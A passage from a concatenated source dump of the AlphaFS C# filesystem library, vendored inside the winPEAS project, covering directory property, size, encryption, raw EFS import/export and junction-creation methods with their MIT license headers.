Alphaleonis.Win32.Filesystem { public static partial class Directory { /// Retrieves the parent directory of the specified path, including both absolute and relative paths. /// The parent directory, or null if is the root directory, including the root of a UNC server or share name. /// The transaction. /// The path for which to retrieve the parent directory. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static DirectoryInfo GetParentCore(KernelTransaction transaction, string path, PathFormat pathFormat) { var pathLp = pathFormat == PathFormat.LongFullPath ? path : Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.CheckInvalidPathChars); pathLp = Path.GetRegularPathCore(pathLp, GetFullPathOptions.None, false); var dirName = Path.GetDirectoryName(pathLp, false); return !Utils.IsNullOrWhiteSpace(dirName) ? new DirectoryInfo(transaction, dirName, PathFormat.RelativePath) : null; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.GetPropertiesCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// Gets the properties of the particular directory without following any symbolic links or mount points. /// Properties include aggregated info from of each encountered file system object, plus additional ones: Total, File, Size and Error. /// Total: is the total number of enumerated objects. /// File: is the total number of files. File is considered when object is neither nor . /// Size: is the total size of enumerated objects. /// Error: is the total number of errors encountered during enumeration. /// /// A dictionary mapping the keys mentioned above to their respective aggregated values. /// Directory: is an object which has attribute without one. /// /// /// /// /// /// /// The transaction. /// The target directory. /// flags that specify how the directory is to be enumerated. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static Dictionary GetPropertiesCore(KernelTransaction transaction, string path, DirectoryEnumerationOptions? options, PathFormat pathFormat) { long total = 0; long size = 0; const string propFile = "File"; const string propTotal = "Total"; const string propSize = "Size"; var typeOfAttrs = typeof(FileAttributes); var attributes = Enum.GetValues(typeOfAttrs); var props = Enum.GetNames(typeOfAttrs).OrderBy(attrs => attrs).ToDictionary(name => name, name => 0); var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); foreach (var fsei in EnumerateFileSystemEntryInfosCore(null, transaction, pathLp, Path.WildcardStarMatchAll, null, options, null, PathFormat.LongFullPath)) { total++; if (!fsei.IsDirectory) size += fsei.FileSize; var fsei1 = fsei; foreach (var attributeMarker in attributes.Cast().Where(attributeMarker => (fsei1.Attributes & attributeMarker) != 0)) props[((attributeMarker & FileAttributes.Directory) != 0 ? FileAttributes.Directory : attributeMarker).ToString()]++; } // Adjust regular files count. props.Add(propFile, total - props[FileAttributes.Directory.ToString()] - props[FileAttributes.ReparsePoint.ToString()]); props.Add(propTotal, total); props.Add(propSize, size); return props; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.GetSizeCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Collections.ObjectModel; using System.Linq; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// Retrieves the size of all alternate data streams of the specified directory and it files. /// The size of all alternate data streams of the specified directory and its files. /// The transaction. /// The path to the directory. /// true to retrieve the size of all alternate data streams, false to get the size of the first stream. /// true to include subdirectories. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static long GetSizeCore(KernelTransaction transaction, string path, bool sizeOfAllStreams, bool recursive, PathFormat pathFormat) { var streamSizes = new Collection(); var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); var enumOptions = (recursive ? DirectoryEnumerationOptions.Recursive : DirectoryEnumerationOptions.None) | DirectoryEnumerationOptions.SkipReparsePoints; if (sizeOfAllStreams) { enumOptions |= DirectoryEnumerationOptions.FilesAndFolders; streamSizes.Add(File.FindAllStreamsCore(transaction, pathLp)); } else enumOptions |= DirectoryEnumerationOptions.Files; foreach (var fsei in EnumerateFileSystemEntryInfosCore(null, transaction, pathLp, Path.WildcardStarMatchAll, null, enumOptions, null, PathFormat.LongFullPath)) { // Although tempting, AlphaFS does not use the fsei.FileSize property. // // https://blogs.msdn.microsoft.com/oldnewthing/20111226-00/?p=8813/ // "The directory-enumeration functions report the last-updated metadata, which may not correspond to the actual metadata if the directory entry is stale. streamSizes.Add(sizeOfAllStreams ? File.FindAllStreamsCore(transaction, fsei.LongFullPath) : File.GetSizeCore(null, transaction, fsei.LongFullPath, false, PathFormat.LongFullPath)); } return streamSizes.Sum(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Core Methods/Directory.IsEmptyCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Linq; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Determines whether the given directory is empty; i.e. it contains no files and no subdirectories. /// /// Returns true when the directory contains no file system objects. /// Returns false when directory contains at least one file system object. /// /// The transaction. /// The path to the directory. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static bool IsEmptyCore(KernelTransaction transaction, string directoryPath, PathFormat pathFormat) { return !EnumerateFileSystemEntryInfosCore(null, transaction, directoryPath, Path.WildcardStarMatchAll, null, null, null, pathFormat).Any(); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Encryption/Directory.Decrypt.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Decrypts a directory that was encrypted by the current account using the Encrypt method. /// /// /// /// /// /// /// /// A path that describes a directory to decrypt. [SecurityCritical] public static void Decrypt(string path) { EncryptDecryptDirectoryCore(path, false, false, PathFormat.RelativePath); } /// [AlphaFS] Decrypts a directory that was encrypted by the current account using the Encrypt method. /// /// /// /// /// /// /// /// A path that describes a directory to decrypt. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Decrypt(string path, PathFormat pathFormat) { EncryptDecryptDirectoryCore(path, false, false, pathFormat); } /// [AlphaFS] Decrypts a directory that was encrypted by the current account using the Encrypt method. /// /// /// /// /// /// /// /// A path that describes a directory to decrypt. /// true to decrypt the directory recursively. false only decrypt the directory. [SecurityCritical] public static void Decrypt(string path, bool recursive) { EncryptDecryptDirectoryCore(path, false, recursive, PathFormat.RelativePath); } /// [AlphaFS] Decrypts a directory that was encrypted by the current account using the Encrypt method. /// /// /// /// /// /// /// /// A path that describes a directory to decrypt. /// true to decrypt the directory recursively. false only decrypt the directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Decrypt(string path, bool recursive, PathFormat pathFormat) { EncryptDecryptDirectoryCore(path, false, recursive, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Encryption/Directory.DisableEncryption.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Disables encryption of the specified directory and the files in it. /// This method only creates/modifies the file "Desktop.ini" in the root of and disables encryption by writing: "Disable=1" /// This method does not affect encryption of files and subdirectories below the indicated directory. /// /// /// /// /// /// /// /// /// The name of the directory for which to disable encryption. [SecurityCritical] public static void DisableEncryption(string path) { EnableDisableEncryptionCore(path, false, PathFormat.RelativePath); } /// [AlphaFS] Disables encryption of the specified directory and the files in it. /// This method only creates/modifies the file "Desktop.ini" in the root of and disables encryption by writing: "Disable=1" /// This method does not affect encryption of files and subdirectories below the indicated directory. /// /// /// /// /// /// /// /// /// The name of the directory for which to disable encryption. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void DisableEncryption(string path, PathFormat pathFormat) { EnableDisableEncryptionCore(path, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Encryption/Directory.EnableEncryption.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Enables encryption of the specified directory and the files in it. /// This method only creates/modifies the file "Desktop.ini" in the root of and enables encryption by writing: "Disable=0" /// This method does not affect encryption of files and subdirectories below the indicated directory. /// /// /// /// /// /// /// /// /// The name of the directory for which to enable encryption. [SecurityCritical] public static void EnableEncryption(string path) { EnableDisableEncryptionCore(path, true, PathFormat.RelativePath); } /// [AlphaFS] Enables encryption of the specified directory and the files in it. /// This method only creates/modifies the file "Desktop.ini" in the root of and enables encryption by writing: "Disable=0" /// This method does not affect encryption of files and subdirectories below the indicated directory. /// /// /// /// /// /// /// /// /// The name of the directory for which to enable encryption. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void EnableEncryption(string path, PathFormat pathFormat) { EnableDisableEncryptionCore(path, true, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Encryption/Directory.Encrypt.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Encrypts a directory so that only the account used to encrypt the directory can decrypt it. /// /// /// /// /// /// /// /// A path that describes a directory to encrypt. [SecurityCritical] public static void Encrypt(string path) { EncryptDecryptDirectoryCore(path, true, false, PathFormat.RelativePath); } /// [AlphaFS] Encrypts a directory so that only the account used to encrypt the directory can decrypt it. /// /// /// /// /// /// /// /// A path that describes a directory to encrypt. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Encrypt(string path, PathFormat pathFormat) { EncryptDecryptDirectoryCore(path, true, false, pathFormat); } /// [AlphaFS] Encrypts a directory so that only the account used to encrypt the directory can decrypt it. /// /// /// /// /// /// /// /// A path that describes a directory to encrypt. /// true to encrypt the directory recursively. false only encrypt the directory. [SecurityCritical] public static void Encrypt(string path, bool recursive) { EncryptDecryptDirectoryCore(path, true, recursive, PathFormat.RelativePath); } /// [AlphaFS] Encrypts a directory so that only the account used to encrypt the directory can decrypt it. /// /// /// /// /// /// /// /// A path that describes a directory to encrypt. /// true to encrypt the directory recursively. false only encrypt the directory. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void Encrypt(string path, bool recursive, PathFormat pathFormat) { EncryptDecryptDirectoryCore(path, true, recursive, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Encryption/Directory.ExportEncryptedDirectoryRaw.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Backs up (export) encrypted directories. This is one of a group of Encrypted File System (EFS) functions that is /// intended to implement backup and restore functionality, while maintaining files in their encrypted state. /// /// /// The directory being backed up is not decrypted; it is backed up in its encrypted state. /// If the caller does not have access to the key for the file, the caller needs to export encrypted files. See . /// To backup an encrypted directory call one of the overloads and specify the directory to backup along with the destination stream of the backup data. /// This function is intended for the backup of only encrypted directories; see for backup of unencrypted directories. /// Note that this method does not back up the files inside the directory, only the directory entry itself. /// /// /// /// /// The name of the file to be backed up. /// The destination stream to which the backup data will be written. public static void ExportEncryptedDirectoryRaw(string fileName, Stream outputStream) { File.ImportExportEncryptedFileDirectoryRawCore(true, false, outputStream, fileName, false, PathFormat.RelativePath); } /// [AlphaFS] Backs up (export) encrypted directories. This is one of a group of Encrypted File System (EFS) functions that is /// intended to implement backup and restore functionality, while maintaining files in their encrypted state. /// /// /// The directory being backed up is not decrypted; it is backed up in its encrypted state. /// If the caller does not have access to the key for the file, the caller needs to export encrypted files. See . /// To backup an encrypted directory call one of the overloads and specify the directory to backup along with the destination stream of the backup data. /// This function is intended for the backup of only encrypted directories; see for backup of unencrypted directories. /// Note that this method does not back up the files inside the directory, only the directory entry itself. /// /// /// /// /// The name of the file to be backed up. /// The destination stream to which the backup data will be written. /// The path format of the parameter. public static void ExportEncryptedDirectoryRaw(string fileName, Stream outputStream, PathFormat pathFormat) { File.ImportExportEncryptedFileDirectoryRawCore(true, false, outputStream, fileName, false, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Encryption/Directory.ImportEncryptedDirectoryRaw.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.IO; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Restores (import) encrypted directories. This is one of a group of Encrypted File System (EFS) functions that is /// intended to implement backup and restore functionality, while maintaining files in their encrypted state. /// /// /// If the caller does not have access to the key for the directory, the caller needs to restore encrypted directories. See . /// To restore an encrypted directory call one of the overloads and specify the file to restore along with the destination stream of the restored data. /// This function is intended for the restoration of only encrypted directories; see for backup of unencrypted files. /// /// /// /// /// The stream to read previously backed up data from. /// The path of the destination directory to restore to. public static void ImportEncryptedDirectoryRaw(Stream inputStream, string destinationPath) { File.ImportExportEncryptedFileDirectoryRawCore(false, true, inputStream, destinationPath, false, PathFormat.RelativePath); } /// [AlphaFS] Restores (import) encrypted directories. This is one of a group of Encrypted File System (EFS) functions that is /// intended to implement backup and restore functionality, while maintaining files in their encrypted state. /// /// /// If the caller does not have access to the key for the directory, the caller needs to restore encrypted directories. See . /// To restore an encrypted directory call one of the overloads and specify the file to restore along with the destination stream of the restored data. /// This function is intended for the restoration of only encrypted directories; see for backup of unencrypted files. /// /// /// /// /// The stream to read previously backed up data from. /// The path of the destination directory to restore to. /// The path format of the parameter. public static void ImportEncryptedDirectoryRaw(Stream inputStream, string destinationPath, PathFormat pathFormat) { File.ImportExportEncryptedFileDirectoryRawCore(false, true, inputStream, destinationPath, false, pathFormat); } /// [AlphaFS] Restores (import) encrypted directories. This is one of a group of Encrypted File System (EFS) functions that is /// intended to implement backup and restore functionality, while maintaining files in their encrypted state. /// /// /// If the caller does not have access to the key for the directory, the caller needs to restore encrypted directories. See . /// To restore an encrypted directory call one of the overloads and specify the file to restore along with the destination stream of the restored data. /// This function is intended for the restoration of only encrypted directories; see for backup of unencrypted files. /// /// /// /// /// The stream to read previously backed up data from. /// The path of the destination directory to restore to. /// If set to true a hidden directory will be overwritten on import. public static void ImportEncryptedDirectoryRaw(Stream inputStream, string destinationPath, bool overwriteHidden) { File.ImportExportEncryptedFileDirectoryRawCore(false, true, inputStream, destinationPath, overwriteHidden, PathFormat.RelativePath); } /// [AlphaFS] Restores (import) encrypted directories. This is one of a group of Encrypted File System (EFS) functions that is /// intended to implement backup and restore functionality, while maintaining files in their encrypted state. /// /// /// If the caller does not have access to the key for the directory, the caller needs to restore encrypted directories. See . /// To restore an encrypted directory call one of the overloads and specify the file to restore along with the destination stream of the restored data. /// This function is intended for the restoration of only encrypted directories; see for backup of unencrypted files. /// /// /// /// /// The stream to read previously backed up data from. /// The path of the destination directory to restore to. /// If set to true a hidden directory will be overwritten on import. /// The path format of the parameter. public static void ImportEncryptedDirectoryRaw(Stream inputStream, string destinationPath, bool overwriteHidden, PathFormat pathFormat) { File.ImportExportEncryptedFileDirectoryRawCore(false, true, inputStream, destinationPath, overwriteHidden, pathFormat); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/Directory Class/Directory Junctions, Links/Directory.CreateJunction.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class Directory { /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J") /// /// The directory must be empty and reside on a local volume. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. [SecurityCritical] public static void CreateJunction(string junctionPath, string directoryPath) { CreateJunctionCore(null, junctionPath, directoryPath, false, false, PathFormat.RelativePath); } /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). /// /// The directory must be empty and reside on a local volume. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CreateJunction(string junctionPath, string directoryPath, PathFormat pathFormat) { CreateJunctionCore(null, junctionPath, directoryPath, false, false, pathFormat); } /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). Overwriting a junction point of the same name is allowed. /// /// The directory must be empty and reside on a local volume. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. /// true to overwrite an existing junction point. The directory is removed and recreated. [SecurityCritical] public static void CreateJunction(string junctionPath, string directoryPath, bool overwrite) { CreateJunctionCore(null, junctionPath, directoryPath, overwrite, false, PathFormat.RelativePath); } /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). Overwriting a junction point of the same name is allowed. /// /// The directory must be empty and reside on a local volume. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. /// true to overwrite an existing junction point. The directory is removed and recreated. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CreateJunction(string junctionPath, string directoryPath, bool overwrite, PathFormat pathFormat) { CreateJunctionCore(null, junctionPath, directoryPath, overwrite, false, pathFormat); } /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). Overwriting a junction point of the same name is allowed. /// /// The directory must be empty and reside on a local volume. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. /// true to overwrite an existing junction point. The directory is removed and recreated. /// true to copy the target date and time stamps to the directory junction. [SecurityCritical] public static void CreateJunction(string junctionPath, string directoryPath, bool overwrite, bool copyTargetTimestamps) { CreateJunctionCore(null, junctionPath, directoryPath, overwrite, copyTargetTimestamps, PathFormat.RelativePath); } /// [AlphaFS] Creates an NTFS directory junction (similar to CMD command: "MKLINK /J"). Overwriting a junction point of the same name is allowed. /// /// The directory must be empty and reside on a local volume. /// /// MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories, /// and a junction can link directories located on different local volumes on the same computer. /// Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points. /// /// /// /// /// /// /// /// /// /// The path of the junction point to create. /// The path to the directory. If the directory does not exist it will be created. /// true to overwrite an existing junction point. The directory is removed and recreated. /// true to copy the target date and time stamps to the directory junction. /// Indicates the format of the path parameter(s). [SecurityCritical] public static void CreateJunction(string junctionPath, string directoryPath, bool 